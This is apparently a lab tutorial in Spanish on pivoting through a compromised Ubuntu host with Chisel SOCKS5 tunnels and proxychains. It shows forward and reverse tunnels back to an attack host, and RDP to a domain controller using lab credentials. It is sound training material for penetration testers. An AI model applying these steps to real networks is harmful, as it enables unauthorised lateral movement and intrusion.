SOCKS5 Tunneling with Chisel
Chisel es una herramienta de tunelización basada en TCP/UDP escrita en Go que utiliza HTTP para transportar datos asegurados mediante SSH. Chisel
puede crear una conexión de túnel cliente-servidor en un entorno restringido por firewall. Consideremos un escenario donde tenemos que tunelizar nuestro tráfico a un servidor web en la red 172.16.5.0/23
(red interna). Tenemos el Domain Controller con la dirección 172.16.5.19
. Este no es directamente accesible desde nuestro host de ataque, ya que nuestro host de ataque y el Domain Controller pertenecen a diferentes segmentos de red. Sin embargo, dado que hemos comprometido el servidor Ubuntu, podemos iniciar un servidor Chisel en él que escuchará en un puerto específico y reenviará nuestro tráfico a la red interna a través del túnel establecido.
Setting Up & Using Chisel
Antes de que podamos usar Chisel, necesitamos tenerlo en nuestro host de ataque. Si no tenemos Chisel en nuestro host de ataque, podemos clonar el repositorio del proyecto usando el comando directamente a continuación:
Cloning Chisel
git clone https://github.com/jpillora/chisel.git
Necesitaremos el lenguaje de programación Go
instalado en nuestro sistema para construir el binario de Chisel. Con Go instalado en el sistema, podemos movernos a ese directorio y usar go build
para construir el binario de Chisel.
Building the Chisel Binary
cd chisel
go build
Puede ser útil tener en cuenta el tamaño de los archivos que transferimos a los objetivos en las redes de nuestros clientes, no solo por razones de rendimiento, sino también considerando la detección. Dos recursos útiles para complementar este concepto particular son la publicación del blog de Oxdf "Tunneling with Chisel and SSF" y la explicación de IppSec de la caja Reddish
. IppSec comienza su explicación de Chisel, construyendo el binario y reduciendo el tamaño del binario en el minuto 24:29 de su video.
Una vez que el binario esté construido, podemos usar SCP
para transferirlo al host de pivote objetivo.
Transferring Chisel Binary to Pivot Host
scp chisel ubuntu@10.129.202.64:~/
ubuntu@10.129.202.64's password:
chisel 100% 11MB 1.2MB/s 00:09
Luego podemos iniciar el servidor/listener de Chisel.
Running the Chisel Server on the Pivot Host
ubuntu@WEB01:~$ ./chisel server -v -p 1234 --socks5
2022/05/05 18:16:25 server: Fingerprint Viry7WRyvJIOPveDzSI2piuIvtu9QehWw9TzA3zspac=
2022/05/05 18:16:25 server: Listening on http://0.0.0.0:1234
El listener de Chisel escuchará conexiones entrantes en el puerto 1234
usando SOCKS5 (--socks5
) y las reenviará a todas las redes que sean accesibles desde el host de pivote. En nuestro caso, el host de pivote tiene una interfaz en la red 172.16.5.0/23, lo que nos permitirá llegar a los hosts en esa red.
Podemos iniciar un cliente en nuestro host de ataque y conectarnos al servidor de Chisel.
Connecting to the Chisel Server
./chisel client -v 10.129.202.64:1234 socks
2022/05/05 14:21:18 client: Connecting to ws://10.129.202.64:1234
2022/05/05 14:21:18 client: tun: proxy#127.0.0.1:1080=>socks: Listening
2022/05/05 14:21:18 client: tun: Bound proxies
2022/05/05 14:21:19 client: Handshaking...
2022/05/05 14:21:19 client: Sending config
2022/05/05 14:21:19 client: Connected (Latency 120.170822ms)
2022/05/05 14:21:19 client: tun: SSH connected
Como puedes ver en la salida anterior, el cliente de Chisel ha creado un túnel TCP/UDP vía HTTP asegurado con SSH entre el servidor de Chisel y el cliente y ha comenzado a escuchar en el puerto 1080. Ahora podemos modificar nuestro archivo proxychains.conf ubicado en /etc/proxychains.conf
y agregar el puerto 1080
al final para que podamos usar proxychains para pivotar usando el túnel creado entre el puerto 1080 y el túnel SSH.
Editing & Confirming proxychains.conf
Podemos usar cualquier editor de texto que queramos para editar el archivo proxychains.conf y luego confirmar nuestros cambios de configuración usando tail
.
tail -f /etc/proxychains.conf
#
# proxy types: http, socks4, socks5
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 127.0.0.1 9050
socks5 127.0.0.1 1080
Ahora, si usamos proxychains con RDP, podemos conectarnos al DC en la red interna a través del túnel que hemos creado al host de pivote.
Pivoting to the DC
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
Chisel Reverse Pivot
En el ejemplo anterior, usamos la máquina comprometida (Ubuntu) como nuestro servidor Chisel, listando en el puerto 1234. Sin embargo, puede haber escenarios en los que las reglas del firewall restrinjan las conexiones entrantes a nuestro objetivo comprometido. En tales casos, podemos usar Chisel con la opción reversa.
Cuando el servidor Chisel tiene --reverse
habilitado, los remotos pueden tener el prefijo R
para denotar revertido. El servidor escuchará y aceptará conexiones, y serán proxied a través del cliente, que especificó el remoto. Los remotos revertidos que especifican R:socks
escucharán en el puerto socks predeterminado del servidor (1080) y terminarán la conexión en el proxy SOCKS5 interno del cliente.
Iniciaremos el servidor en nuestro host de ataque con la opción --reverse
.
Starting the Chisel Server on our Attack Host
sudo ./chisel server --reverse -v -p 1234 --socks5
2022/05/30 10:19:16 server: Reverse tunnelling enabled
2022/05/30 10:19:16 server: Fingerprint n6UFN6zV4F+MLB8WV3x25557w/gHqMRggEnn15q9xIk=
2022/05/30 10:19:16 server: Listening on http://0.0.0.0:1234
Luego, nos conectamos desde el Ubuntu (host de pivote) a nuestro host de ataque, usando la opción R:socks
.
Connecting the Chisel Client to our Attack Host
ubuntu@WEB01$ ./chisel client -v 10.10.14.17:1234 R:socks
2022/05/30 14:19:29 client: Connecting to ws://10.10.14.17:1234
2022/05/30 14:19:29 client: Handshaking...
2022/05/30 14:19:30 client: Sending config
2022/05/30 14:19:30 client: Connected (Latency 117.204196ms)
2022/05/30 14:19:30 client: tun: SSH connected
Podemos usar cualquier editor que queramos para editar el archivo proxychains.conf y luego confirmar nuestros cambios de configuración usando tail
.
Editing & Confirming proxychains.conf
tail -f /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# socks4 127.0.0.1 9050
socks5 127.0.0.1 1080
Si usamos proxychains con RDP, podemos conectarnos al DC en la red interna a través del túnel que hemos creado al host de pivote.
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
Nota: Si estás recibiendo un mensaje de error con chisel en el objetivo, intenta con una versión diferente.